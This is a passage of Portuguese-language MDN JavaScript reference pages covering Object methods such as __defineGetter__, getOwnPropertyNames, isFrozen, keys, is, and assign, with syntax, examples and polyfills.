Browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Object.prototype.__defineGetter__() - JavaScript","text":"Object.prototype.\\_\\_defineGetter\\_\\_()\n=======================================\n\n**Aviso:** Esta característica está descontinuada em favor de definindo getters usando a sintaxe de inicialização de objetoou a API `Object.defineProperty()`. Enquanto esta característica é amplamente implementada, ela está somente descrita na especificação ECMAScript por causa do uso legado. Este método não deveria ser usado desde que exista existam melhores alternativas.\n\nO método **`__defineGetter__`** conecta uma propriedade do objeto à uma função para ser chamada quando isso é consultado.\n\nSintaxe\n-------\n```\n\nobj.__defineGetter__(prop, func)\n```\n\n### Parâmetros\n\n`prop`\n\nUma string contendo o nome da propriedade para conectar a função dada.\n\n`func`\n\nUma função para ser ligada a uma consulta da propriedade especificada.\n\n### Valor de Retorno\n\n`undefined`.\n\nDescrição\n---------\n\nO `__defineGetter__` permite um getter (en-US) ser definido sobre um objeto preexistente.\n\nExemplos\n--------\n\n\n```js\n// Forma não-padrão e depreciada\n\nvar o = {};\no.\\_\\_defineGetter\\_\\_(\"gimmeFive\", function () {\n  return 5;\n});\nconsole.log(o.gimmeFive); // 5\n\n// Formas padrão-compatível\n\n// Usando o operador get\nvar o = {\n  get gimmeFive() {\n    return 5;\n  },\n};\nconsole.log(o.gimmeFive); // 5\n\n// Usando Object.defineProperty\nvar o = {};\nObject.defineProperty(o, \"gimmeFive\", {\n  get: function () {\n    return 5;\n  },\n});\nconsole.log(o.gimmeFive); // 5\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.prototype.\\_\\_defineGetter\\_\\_ |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.__defineSetter__()`\n* `get` (en-US) operator\n* `Object.defineProperty()`\n* `Object.prototype.__lookupGetter__()`\n* `Object.prototype.__lookupSetter__()`\n* Guia JS: Definindo Getters e Setters\n* [Blog Post] Depreciação de \\_\\_defineGetter\\_\\_ e \\_\\_defineSetter\\_\\_\n* Erro do Firefox 647423"}
{"title":"Object.getOwnPropertyNames() - JavaScript","text":"Object.getOwnPropertyNames()\n============================\n\nO método **`Object.getOwnPropertyNames()`** retorna um vetor com todas as propriedades (enumeráveis ou não) encontradas diretamente em um dado objeto.\n\nSintaxe\n-------\n```\n\nObject.getOwnPropertyNames(obj)\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto, cujas suas próprias propriedades, enumeráveis ou não, serão retornadas.\n\nDescrição\n---------\n\n`Object.getOwnPropertyNames()` retorna um vetor cujos elementos são strings correspondentes as propriedades enumeráveis ou não, encontradas em `obj`. A ordem das propriedades enumeráveis no vetor é consistente com a ordenação exposta por um laço `for...in` (ou por `Object.keys()`) nas propriedades do objeto. A ordenação das propriedades não-enumeráveis no vetor, e entre as propriedades enumeráveis, não está definida.\n\nExemplos\n--------\n\n### Usando `Object.getOwnPropertyNames()`\n\n\n```js\nvar arr = [\"a\", \"b\", \"c\"];\nconsole.log(Object.getOwnPropertyNames(arr).sort());\n// logs [\"0\", \"1\", \"2\", \"length\"]\n\n// Array-like object\nvar obj = { 0: \"a\", 1: \"b\", 2: \"c\" };\nconsole.log(Object.getOwnPropertyNames(obj).sort());\n// logs [\"0\", \"1\", \"2\"]\n\n// Logging property names and values using Array.forEach\nObject.getOwnPropertyNames(obj).forEach(function (val, idx, array) {\n  console.log(val + \" -> \" + obj[val]);\n});\n// logs\n// 0 -> a\n// 1 -> b\n// 2 -> c\n\n// non-enumerable property\nvar my_obj = Object.create(\n  {},\n  {\n    getFoo: {\n      value: function () {\n        return this.foo;\n      },\n      enumerable: false,\n    },\n  },\n);\nmy_obj.foo = 1;\n\nconsole.log(Object.getOwnPropertyNames(my_obj).sort());\n// logs [\"foo\", \"getFoo\"]\n```\n\n\nSe voce quer somente as propriedades enumeráveis, veja `Object.keys()` ou use um laço `for...in` (contudo, note que isto irá retornar propriedades enumeráveis não encontradas diretamente naquele objeto, mas também junto com a cadeia prototype do objeto a menos que o último seja filtrado com `hasOwnProperty()`).\n\nÍtens na cadeia prototype não são listados:\n\n\n```js\nfunction ParentClass() {}\nParentClass.prototype.inheritedMethod = function () {};\n\nfunction ChildClass() {\n  this.prop = 5;\n  this.method = function () {};\n}\nChildClass.prototype = new ParentClass();\nChildClass.prototype.prototypeMethod = function () {};\n\nconsole.log(\n  Object.getOwnPropertyNames(\n    new ChildClass(), // [\"prop\", \"method\"]\n  ),\n);\n```\n\n### Obtenha somente não-enumeráveis\n\nIsto usa a função `Array.prototype.filter()` para remover as chaves enumeráveis (obtidas com `Object.keys()`) de uma lista com todas as chaves (obtidas com `Object.getOwnPropertyNames()`) deixando somente as chaves não-enumeráveis.\n\n\n```js\nvar target = myObject;\nvar enum_and_nonenum = Object.getOwnPropertyNames(target);\nvar enum_only = Object.keys(target);\nvar nonenum_only = enum_and_nonenum.filter(function (key) {\n  var indexInEnum = enum_only.indexOf(key);\n  if (indexInEnum == -1) {\n    // not found in enum\\_only keys mean the key is non-enumerable,\n    // so return true so we keep this in the filter\n    return true;\n  } else {\n    return false;\n  }\n});\n\nconsole.log(nonenum_only);\n```\n\nNotas\n-----\n\nNo ES5, se o argumento desse método não é um objeto (um tipo primitivo), então isso causará um `TypeError`. No ES6, um argumento diferente de objeto será transformado em um objeto.\n\n\n```js\nObject.getOwnPropertyNames(\"foo\");\n// TypeError: \"foo\" is not an object (ES5 code)\n\nObject.getOwnPropertyNames(\"foo\");\n// [\"0\", \"1\", \"2\", \"length\"] (ES6 code)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.getownpropertynames |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas específicas para SpiderMonkey\n-----------------------------------\n\nAntes do SpiderMonkey 28, `Object.getOwnPropertyNames` não via propriedades não resolvidas de objetos `Error`. Isto foi resolvido em versões posteriores (Erro do Firefox 724768).\n\nVeja também\n-----------\n\n* Enumerabilidade e posse de propriedades (en-US)\n* `Object.prototype.hasOwnProperty()`\n* `Object.prototype.propertyIsEnumerable()`\n* `Object.create()`\n* `Object.keys()`\n* `Array.forEach()`"}
{"title":"Object.prototype.valueOf() - JavaScript","text":"Object.prototype.valueOf()\n==========================\n\nO método **`valueOf()`** retorna o valor primitivo do objeto especificado.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nobject.valueOf()\n```\n\n### Valor retornado\n\nO valor primitivo do objeto especificado.\n\nDescrição\n---------\n\nJavaScript chama o método `valueOf` para converter um objeto em um valor primitivo. Você raramente precisará chamar o método `valueOf` por ele mesmo; O JavaScript chamará ele automaticamente quando encontrar um objeto onde um valor primitivo for esperado.\n\nPor padrão, o método `valueOf` é herdado por cada objeto descendente de `Object`. Todo núcleo embutido do objeto sobrescreve esse método para retornar um valor apropriado. Se um objeto não tem um valor primitivo, `valueOf` retorna o próprio objeto.\n\nVocê pode usar `valueOf` dentro do seu próprio código para converter um objeto embutido, em um valor primitivo. Quando você criar um objeto customizado, você pode sobrescrever `Object.prototype.valueOf()` para chamar um método customizado ao invés do método padrão `Object`.\n\n### Sobrescrevendo `valueOf` para objetos customizados\n\nVocê pode criar uma função para ser chamada no lougar do método padrão `valueOf`. Sua função não pode ter nenhum argumento.\n\nSuponha que você tem um tipo de objeto `MyNumberType` e você quer criar um método `valueOf` para ele. O código a seguir atribui uma função definida por usuário para o método `valueOf` desse objeto:\n\n\n```js\nMyNumberType.prototype.valueOf = function () {\n  return customPrimitiveValue;\n};\n```\n\n\nCom o código anterior no lugar, a qualquer hora um objeto do tipo `MyNumberType` é usado em um contexto onde deve ser representado como um valor primitivo, o JavaScript chama automaticamente a função definida no código anterior.\n\nUm método `valueOf` de um objeto é geralmente chamado pelo JavaScript, mas você pode chamá-lo se quiser da seguinte maneira:\n\n\n```js\nmyNumberType.valueOf();\n```\n\n\n**Nota:** Objetos em contexto de string convertidos através do método `toString()`, o que é diferente de objetos `String` convertendo para string primiriva utlizando `valueOf`. Todos os objetos têm uma conversão string, somente se \"`[object type]`\". Mas muitos objetos não convertem para number, boolean, or function.\n\nExemplos\n--------\n\n### Usando `valueOf`\n\n\n```js\nfunction MyNumberType(n) {\n  this.number = n;\n}\n\nMyNumberType.prototype.valueOf = function () {\n  return this.number;\n};\n\nvar myObj = new MyNumberType(4);\nmyObj + 3; // 7\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.prototype.valueof |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.toString()`\n* `parseInt()`\n* `Symbol.toPrimitive`"}
{"title":"Object.isFrozen() - JavaScript","text":"Object.isFrozen()\n=================\n\nO método **`Object.isFrozen()`** determina se um objeto está frozen.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nObject.isFrozen(obj)\n```\n\n### Parameters\n\n`obj`\n\nO objeto que será verificado.\n\n### Return value\n\nUm valor `Boolean` indicando se o objeto está frozen.\n\nDescrição\n---------\n\nUm objeto estará frozen se, e apenas se, ele não for extensible, todas as suas propriedades não são configuráveis e todas suas propriedades de dados (propriedades que não são asessores de propriedades com getters ou setters) não podem ser modificadas.\n\nExamples\n--------\n\n\n```js\n// Um novo objeto é extensível, então ele não está frozen.\nObject.isFrozen({}); // === false\n\n// Um objeto vazio que não é extensível\n// é vagamente frozen.\nvar vacuouslyFrozen = Object.preventExtensions({});\nObject.isFrozen(vacuouslyFrozen); // === true\n\n// Um novo objeto com uma propriedade também é extensível,\n// portanto não está frozen.\nvar oneProp = { p: 42 };\nObject.isFrozen(oneProp); // === false\n\n// Impedir extensões do objeto ainda\n// não o torna frozen, pois a propriedade ainda será\n// configurável (e modificável).\nObject.preventExtensions(oneProp);\nObject.isFrozen(oneProp); // === false\n\n// ...Porém, deletando a propriedade o objeto se tornará\n// vagamente frozen.\ndelete oneProp.p;\nObject.isFrozen(oneProp); // === true\n\n// Um objeto não extensível e não modificável,\n// mas com uma propriedade configurável não será frozen.\nvar nonWritable = { e: \"plep\" };\nObject.preventExtensions(nonWritable);\nObject.defineProperty(nonWritable, \"e\", {\n  writable: false,\n}); // tornar não modificável\nObject.isFrozen(nonWritable); // === false\n\n// Alterando a propriedade para não configurável\n// tornará o objeto frozen.\nObject.defineProperty(nonWritable, \"e\", {\n  configurable: false,\n}); // make non-configurable\nObject.isFrozen(nonWritable); // === true\n\n// Um objeto não extensível com uma propriedade não configurável\n// mas modificável não será frozen.\nvar nonConfigurable = { release: \"the kraken!\" };\nObject.preventExtensions(nonConfigurable);\nObject.defineProperty(nonConfigurable, \"release\", {\n  configurable: false,\n});\nObject.isFrozen(nonConfigurable); // === false\n\n// Alterando a propriedade para não modificável\n// tornará o objeto frozen.\nObject.defineProperty(nonConfigurable, \"release\", {\n  writable: false,\n});\nObject.isFrozen(nonConfigurable); // === true\n\n// Um objeto não extensível com um assessor de propriedade\n// configurável não será frozen.\nvar accessor = {\n  get food() {\n    return \"yum\";\n  },\n};\nObject.preventExtensions(accessor);\nObject.isFrozen(accessor); // === false\n\n// ...Mas alterando essa propriedade para não configurável\n// o objeto se tornará frozen.\nObject.defineProperty(accessor, \"food\", {\n  configurable: false,\n});\nObject.isFrozen(accessor); // === true\n\n// A forma mais fácil para um objeto ser frozen\n// é se o método Object.freeze foi usado nele.\nvar frozen = { 1: 81 };\nObject.isFrozen(frozen); // === false\nObject.freeze(frozen);\nObject.isFrozen(frozen); // === true\n\n// Por definição, um objeto frozen não é extensível.\nObject.isExtensible(frozen); // === false\n\n// Também por definição, um objeto frozen estará sealed.\nObject.isSealed(frozen); // === true\n```\n\nNotas\n-----\n\nNo ES5, se o argumento deste método não for um objeot (uma primitiva), ele irá lançar um `TypeError`. No ES2015, um argumento que não é objeto será sempre tratado como se fosse um objeto frozen, simplesmente retornando `true`.\n\n\n```js\nObject.isFrozen(1);\n// TypeError: 1 is not an object (ES5 code)\n\nObject.isFrozen(1);\n// true (ES2015 code)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.isfrozen |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.freeze()`\n* `Object.preventExtensions()`\n* `Object.isExtensible()`\n* `Object.seal()`\n* `Object.isSealed()`"}
{"title":"Object.defineProperties() - JavaScript","text":"Object.defineProperties()\n=========================\n\nO método **`Object.defineProperties()`** define uma nova propriedade ou modifica uma existente no objeto, retornando o objeto.\n\nSintaxe\n-------\n```\n\nObject.defineProperties(obj, props)\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto no qual se cria ou modifica suas propriedades.\n\n`props`\n\nUm objeto do qual propriedades enumeráveis constitui descritores para as propriedades serem definidas ou modificadas. Descritores de propriedade presente nos objetos provém em dois principais tipos: descritores de dados e de acesso (veja `Object.defineProperty()` para mais detalhes). Descritores têm as seguintes chaves:\n\n`configurable`\n\n`true` se e somente se o tipo deste descritor de propriedades pode ser modificada e se a propriedade pode ser apagada do objeto correspondente.\n **Valor padrão é `false`.**\n\n`enumerable`\n\n`true` se e somente se este propriedade aparece durante enumeração das propriedade sobre o objeto correspondente.\n **Valor padrão é `false`.**\n\n`value`\n\n O valor associado com a propriedade. Pode ser qualquer valor válido em JavaScript value (número, objeto, função, etc).\n **Valor padrão é `undefined`.**\n\n`writable`\n\n`true` se e somente se o valor associado com a propriedade pode ser modificada com um assignment operator (en-US).\n **Valor padrão é `false`.**\n\n`get`\n\n Uma função a qual serve com um getter para a propriedade, ou `undefined` se não existe getter. A retorno da função será usado como o valor da propriedade.\n **Valor padrão é `undefined`.**\n\n`set`\n\n Uma função a qual server com um setter para a propriedade, ou `undefined` se não existe setter. A função receberá como argumento somente o novo valor sendo atribuído à propriedade.\n **Valor padrão é `undefined`.**\n\n\n\n### Valor de retorno\n\nO objeto que foi passado para a função.\n\nDescrição\n---------\n\n`Object.defineProperties`, em essência, define todas as propriedades correspondentes para as propriedades próprias enumeráveis de `props` sobre o objeto `obj`.\n\nExemplo\n-------\n\n\n```js\nvar obj = {};\nObject.defineProperties(obj, {\n  property1: {\n    value: true,\n    writable: true,\n  },\n  property2: {\n    value: \"Hello\",\n    writable: false,\n  },\n  // etc. etc.\n});\n```\n\nPolyfill\n--------\n\nAssumindo uma execução intocada com todos os nomes e propriedades referindo para seus valores iniciais, `Object.defineProperties` é quase completamente equivalente (note o comentário em `isCallable`) para a seguinte reimplementação em JavaScript:\n\n\n```js\nfunction defineProperties(obj, properties) {\n  function convertToDescriptor(desc) {\n    function hasProperty(obj, prop) {\n      return Object.prototype.hasOwnProperty.call(obj, prop);\n    }\n\n    function isCallable(v) {\n      // NB: modify as necessary if other values than functions are callable.\n      return typeof v === \"function\";\n    }\n\n    if (typeof desc !== \"object\" || desc === null)\n      throw new TypeError(\"bad desc\");\n\n    var d = {};\n\n    if (hasProperty(desc, \"enumerable\")) d.enumerable = !!desc.enumerable;\n    if (hasProperty(desc, \"configurable\")) d.configurable = !!desc.configurable;\n    if (hasProperty(desc, \"value\")) d.value = desc.value;\n    if (hasProperty(desc, \"writable\")) d.writable = !!desc.writable;\n    if (hasProperty(desc, \"get\")) {\n      var g = desc.get;\n\n      if (!isCallable(g) && typeof g !== \"undefined\")\n        throw new TypeError(\"bad get\");\n      d.get = g;\n    }\n    if (hasProperty(desc, \"set\")) {\n      var s = desc.set;\n      if (!isCallable(s) && typeof s !== \"undefined\")\n        throw new TypeError(\"bad set\");\n      d.set = s;\n    }\n\n    if ((\"get\" in d || \"set\" in d) && (\"value\" in d || \"writable\" in d))\n      throw new TypeError(\"identity-confused descriptor\");\n\n    return d;\n  }\n\n  if (typeof obj !== \"object\" || obj === null) throw new TypeError(\"bad obj\");\n\n  properties = Object(properties);\n\n  var keys = Object.keys(properties);\n  var descs = [];\n\n  for (var i = 0; i < keys.length; i++)\n    descs.push([keys[i], convertToDescriptor(properties[keys[i]])]);\n\n  for (var i = 0; i < descs.length; i++)\n    Object.defineProperty(obj, descs[i][0], descs[i][1]);\n\n  return obj;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.defineproperties |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.defineProperty()`\n* `Object.keys()`\n* Enumerabilidade e direito de propriedades (en-US)"}
{"title":"Object.getOwnPropertyDescriptor() - JavaScript","text":"Object.getOwnPropertyDescriptor()\n=================================\n\nO método **`Object.getOwnPropertyDescriptor()`** retorna um descritor de propriedades para uma propriedade (isto é, uma diretamente presente, e não pertencente ao objeto por força da cadeia de protótipo do objeto) de um dado objeto.\n\nSintaxe\n-------\n```\n\nObject.getOwnPropertyDescriptor(obj, prop)\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto no qual deve-se procurar pela propriedade.\n\n`prop`\n\nO nome da propriedade cuja descrição é para ser retornada.\n\n### Valor de Retorno\n\nUm descritor de propriedades da propriedade especificada, se esta existir no objeto, ou `undefined`, caso contrário.\n\nDescrição\n---------\n\nEste método permite uma análise da descrição precisa de uma propriedade. Uma propriedade em Javascript consiste de um nome com formato *texto-valor* e um descritor de propriedades. Mais informações sobre os tipos de descritores de propriedades e seus atributos podem ser encontrados em `Object.defineProperty()`.\n\nUm descritor de propriedade é um registro com alguns dos seguintes atributos:\n\n`value`\n\no valor associado com a propriedade (somente para descritores de dados).\n\n**`writable`**\n\n`true` se, e somente se, o valor associado com a propriedade pode ser alterado (somente para descritores de dados).\n\n`get`\n\nUma função que serve como um *getter*, para obter o valor da propriedade, ou `undefined` se não houver (somente para descritores de acesso).\n\n`set`\n\nUma função que serve como um s*etter*, para atribuir um valor à propriedade, ou `undefined` se não houver (somente para descritores de acesso).\n\n`configurable`\n\n`true` se, e somente se, o tipo deste descritor de propriedade pode ser alterado e se a propriedade pode ser excluída do objeto correspondente.\n\n`enumerable`\n\n`true` se, e somente se, esta propriedade aparece durante a enumeração das propriedades do objeto correspondente.\n\nExemplos\n--------\n\n\n```js\nvar o, d;\n\no = {\n  get foo() {\n    return 17;\n  },\n};\nd = Object.getOwnPropertyDescriptor(o, \"foo\");\n// d é { configurable: true, enumerable: true, get: /\\*A função getter\\*/, set: undefined }\n\no = { bar: 42 };\nd = Object.getOwnPropertyDescriptor(o, \"bar\");\n// d é { configurable: true, enumerable: true, value: 42, writable: true }\n\no = {};\nObject.defineProperty(o, \"baz\", {\n  value: 8675309,\n  writable: false,\n  enumerable: false,\n});\nd = Object.getOwnPropertyDescriptor(o, \"baz\");\n// d é { value: 8675309, writable: false, enumerable: false, configurable: false }\n```\n\nNotas\n-----\n\nNo ES5, o primeiro parâmetro deste método não é um objeto (tipo primitivo), então ele irá gerar um `TypeError`. No ES6, um primeiro argumento não-objeto será primeiramente convertido para objeto.\n\n\n```js\nObject.getOwnPropertyDescriptor(\"foo\", 0);\n// TypeError: \"foo\" is not an object // Código ES5\n\nObject.getOwnPropertyDescriptor(\"foo\", 0);\n// {configurable:false, enumerable:true, value:\"f\", writable:false} // Código ES6\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.getownpropertydescriptor |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `Object.defineProperty()`\n* `Reflect.getOwnPropertyDescriptor()` (en-US)"}
{"title":"Object.keys() - JavaScript","text":"Object.keys()\n=============\n\nO método **`Object.keys()`** retorna um array de propriedades enumeraveis de um determinado objeto, na mesma ordem em que é fornecida por um laço `for...in` (a diferença é que um laço for-in enumera propriedades que estejam na cadeia de protótipos).\n\nSintaxe\n-------\n```\n\nObject.keys(obj)\n```\n\n### Parametros\n\n`obj`\n\nO objeto cujas propriedades são enumeráveis.\n\nDescrição\n---------\n\n`Object.keys()` retorna um array cujo os elementos são strings correspondentes para a propriedade enumerável encontrada diretamento sobre o objeto. A ordenação das propriedades é a mesma que a dada pelo loop sobre as propriedades do objeto manualmente.\n\nExemplos\n--------\n\n\n```js\nvar arr = [\"a\", \"b\", \"c\"];\nconsole.log(Object.keys(arr)); // console: ['0', '1', '2']\n\n// array com objeto\nvar obj = { 0: \"a\", 1: \"b\", 2: \"c\" };\nconsole.log(Object.keys(obj)); // console: ['0', '1', '2']\n\n// array como objeto com ordenação aleatória por chave\nvar an_obj = { 100: \"a\", 2: \"b\", 7: \"c\" };\nconsole.log(Object.keys(an_obj)); // console: ['2', '7', '100']\n\n// getFoo é uma propriedade que não é enumerável\nvar my_obj = Object.create(\n  {},\n  {\n    getFoo: {\n      value: function () {\n        return this.foo;\n      },\n    },\n  },\n);\nmy_obj.foo = 1;\n\nconsole.log(Object.keys(my_obj)); // console: ['foo']\n```\n\n\nSe você quiser todas as propriedades, mesmo que não enumeráveis, consulte:`Object.getOwnPropertyNames()`.\n\nNotas\n-----\n\nEm ES5, Se o argumento para o método this não é um objeto(um primitivo), em seguida ele irá causar um `TypeError`. Em ES2015, um argumento não-objeto será forçado a um objeto.\n\n\n```js\nObject.keys(\"foo\");\n// TypeError: \"foo\" is not an object (ES5 code)\n\nObject.keys(\"foo\");\n// [\"0\", \"1\", \"2\"] (ES2015 code)\n```\n\nPolyfill\n--------\n\nPara adicionar suporte Object.keys compatíveis em ambientes mais antigos que não têm suporte nativo para isso, copie o seguinte trecho:\n\n\n```js\n// De https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/Object/keys\nif (!Object.keys) {\n  Object.keys = (function () {\n    \"use strict\";\n    var hasOwnProperty = Object.prototype.hasOwnProperty,\n      hasDontEnumBug = !{ toString: null }.propertyIsEnumerable(\"toString\"),\n      dontEnums = [\n        \"toString\",\n        \"toLocaleString\",\n        \"valueOf\",\n        \"hasOwnProperty\",\n        \"isPrototypeOf\",\n        \"propertyIsEnumerable\",\n        \"constructor\",\n      ],\n      dontEnumsLength = dontEnums.length;\n\n    return function (obj) {\n      if (\n        typeof obj !== \"object\" &&\n        (typeof obj !== \"function\" || obj === null)\n      ) {\n        throw new TypeError(\"Object.keys chamado de non-object\");\n      }\n\n      var result = [],\n        prop,\n        i;\n\n      for (prop in obj) {\n        if (hasOwnProperty.call(obj, prop)) {\n          result.push(prop);\n        }\n      }\n\n      if (hasDontEnumBug) {\n        for (i = 0; i < dontEnumsLength; i++) {\n          if (hasOwnProperty.call(obj, dontEnums[i])) {\n            result.push(dontEnums[i]);\n          }\n        }\n      }\n      return result;\n    };\n  })();\n}\n```\n\n\nPor favor, note que o código acima inclui chaves não-enumeráveis no IE7 (e talvez IE8), ao passar em um objeto a partir de uma janela diferente.\n\nPara um simples Browser Polyfill, veja Javascript - Object.keys Browser Compatibility.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.keys |\n\nBrowser compatibilidade\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Enumerability and ownership of properties (en-US)\n* `Object.prototype.propertyIsEnumerable()`\n* `Object.create()`\n* `Object.getOwnPropertyNames()`"}
{"title":"Object.is() - JavaScript","text":"Object.is()\n===========\n\nO método **`Object.is()`** determina se dois valores correspondem ao mesmo valor.\n\nSintaxe\n-------\n```\n\nObject.is(value1, value2);\n```\n\n### Parâmetros\n\n`value1`\n\nO primeiro valor a ser comparado.\n\n`value2`\n\nO segundo valor a ser comparado.\n\n### Return value\n\nUm `Boolean` indicando se os dois argumentos possuem o mesmo valor ou não.\n\nDescrição\n---------\n\n`Object.is()` determina se dois valores correspondem ao mesmo valor. Dois valores correspondem ao mesmo valor se uma das seguintes condições for verdadeira:\n\n* ambos são `undefined`\n* ambos são `null`\n* ambos são `true` ou ambos são `false`\n* ambos são strings do mesmo comprimento, com os mesmos caracteres\n* ambos são o mesmo objeto\n* ambos são numéricos e\n    + ambos são `+0`\n    + ambos são `-0`\n    + ambos são `NaN`\n    + ou ambos são não-zero e ambos são não `NaN` e ambos correspondem ao mesmo valor\n\nIsso *não é* o mesmo que ser igual de acordo com o operador `==` (en-US). O operador `==` (en-US) aplica diversas coerções para ambos os lados (se eles não correspondem ao mesmo Tipo) antes de testar a igualdade (resultando em comportamentos como a comparação `\"\" == false` retornar `true`), enquanto `Object.is` não realiza a coerção de nenhum dos valores.\n\nIsso também *não* *é* o mesmo que ser igual de acordo com o operador `===` (en-US). O operador `===` (en-US) (assim como o operador `==` (en-US)) trata os valores numéricos `-0` e `+0` como iguais e trata `Number.NaN` como não igual a `NaN`.\n\nExemplos\n--------\n\n\n```js\nObject.is(\"foo\", \"foo\"); // true\nObject.is(window, window); // true\n\nObject.is(\"foo\", \"bar\"); // false\nObject.is([], []); // false\n\nvar test = { a: 1 };\nObject.is(test, test); // true\n\nObject.is(null, null); // true\n\n// Casos especiais\nObject.is(0, -0); // false\nObject.is(-0, -0); // true\nObject.is(NaN, 0 / 0); // true\n```\n\nPolyfill para navegadores que não suportam ES6\n----------------------------------------------\n\n`Object.is()` é uma adição proposta ao padrão ECMA-262; e como tal, pode não estar presente em todos os navegadores. Você pode contornar essa situação por meio da adição do seguinte código no começo de seus scripts. Isso permitirá a você utilizar `Object.is()`, mesmo quando não houver suporte por parte do navegador.\n\n\n```js\nif (!Object.is) {\n  Object.is = function (x, y) {\n    // Algoritmo para verificar se os valores sao iguais\n    if (x === y) {\n      // Passos 1-5, 7-10\n      // Passos 6.b-6.e: +0 != -0\n      return x !== 0 || 1 / x === 1 / y;\n    } else {\n      // Passo 6.a: NaN == NaN\n      return x !== x && y !== y;\n    }\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.is |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Comparações de igualdade — uma comparação dos três recursos implementados para verificação de igualdade."}
{"title":"Object.assign() - JavaScript","text":"Object.assign()\n===============\n\nO método **`Object.assign()`** é usado para copiar os valores de todas as propriedades próprias enumeráveis de um ou mais objetos *de origem* para um objeto *destino*. Este método irá retornar o objeto *destino*.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nObject.assign(destino, ...origens)\n```\n\n### Parâmetros\n\n`destino`\n\nO objeto *destino*.\n\n`origens`\n\nUm ou mais objetos de *origem*.\n\n### Valor retornado\n\nO objeto *destino* será retornado.\n\nDescrição\n---------\n\nO método `Object.assign()` copia apenas propriedades *enumeráveis* e *próprias* de um objeto *de origem* para um objeto destino. Ele usa `[[Get]]` na origem e `[[Put]]` no *destino*, então isto irá invocar *getters* e *setters*.\n\nPortanto, ele *atribui* propriedades, em vez de simplesmente copiar ou definir novas propriedades. Isso pode fazê-lo impróprio para combinar novas propriedades com um *prototype* se os objetos *de origem* contiverem getters. Para copiar definições de propriedades, incluindo sua enumerabilidade, para *prototypes* `Object.getOwnPropertyDescriptor()` e `Object.defineProperty()` devem ser utilizadas no lugar.\n\nAmbas as propriedades `String` e `Symbol` são copiadas.\n\nNo caso de erro, por exemplo, se uma propriedade não é *writable*, um `TypeError` será lançado e o objeto *destino* permanecerá inalterado. Note que `Object.assign()` não lança erros caso algum argumento *source* seja `null` ou `undefined`.\n\nExemplos\n--------\n\n### Clonando um objeto\n\n\n```js\nvar obj = { a: 1 };\nvar copy = Object.assign({}, obj);\nconsole.log(copy); // { a: 1 }\n```\n\n### Mesclando objetos\n\n\n```js\nvar o1 = { a: 1 };\nvar o2 = { b: 2 };\nvar o3 = { c: 3 };\n\nvar obj = Object.assign(o1, o2, o3);\nconsole.log(obj); // { a: 1, b: 2, c: 3 }\nconsole.log(o1); // { a: 1, b: 2, c: 3 }, target object itself is changed.\n```\n\n### Copiando propriedades Symbol\n\n\n```js\nvar o1 = { a: 1 };\nvar o2 = { [Symbol(\"foo\")]: 2 };\n\nvar obj = Object.assign({}, o1, o2);\nconsole.log(obj); // { a: 1, [Symbol(\"foo\")]: 2 }\n```\n\n### Propriedades herdadas e não enumeráveis não podem ser copiadas\n\n\n```js\nvar obj = Object.create(\n  { foo: 1 },\n  {\n    // foo is an inherit property.\n    bar: {\n      value: 2, // bar is a non-enumerable property.\n    },\n    baz: {\n      value: 3,\n      enumerable: true, // baz is an own enumerable property.\n    },\n  },\n);\n\nvar copy = Object.assign({}, obj);\nconsole.log(copy); // { baz: 3 }\n```\n\n### Primitivas serão encapsuladas em objetos\n\n\n```js\nvar v1 = \"123\";\nvar v2 = true;\nvar v3 = 10;\nvar v4 = Symbol(\"foo\");\n\nvar obj = Object.assign({}, v1, null, v2, undefined, v3, v4);\n// Primitives will be wrapped, null and undefined will be ignored.\n// Note, only string wrappers can have own enumerable properties.\nconsole.log(obj); // { \"0\": \"1\", \"1\": \"2\", \"2\": \"3\" }\n```\n\n### Exceções irão interromper a tarefa de cópia em execução\n\n\n```js\nvar target = Object.defineProperty({}, \"foo\", {\n  value: 1,\n  writeable: false,\n}); // target.foo is a read-only property\n\nObject.assign(target, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 });\n// TypeError: \"foo\" is read-only\n// The Exception is thrown when assigning target.foo\n\nconsole.log(target.bar); // 2, the first source was copied successfully.\nconsole.log(target.foo2); // 3, the 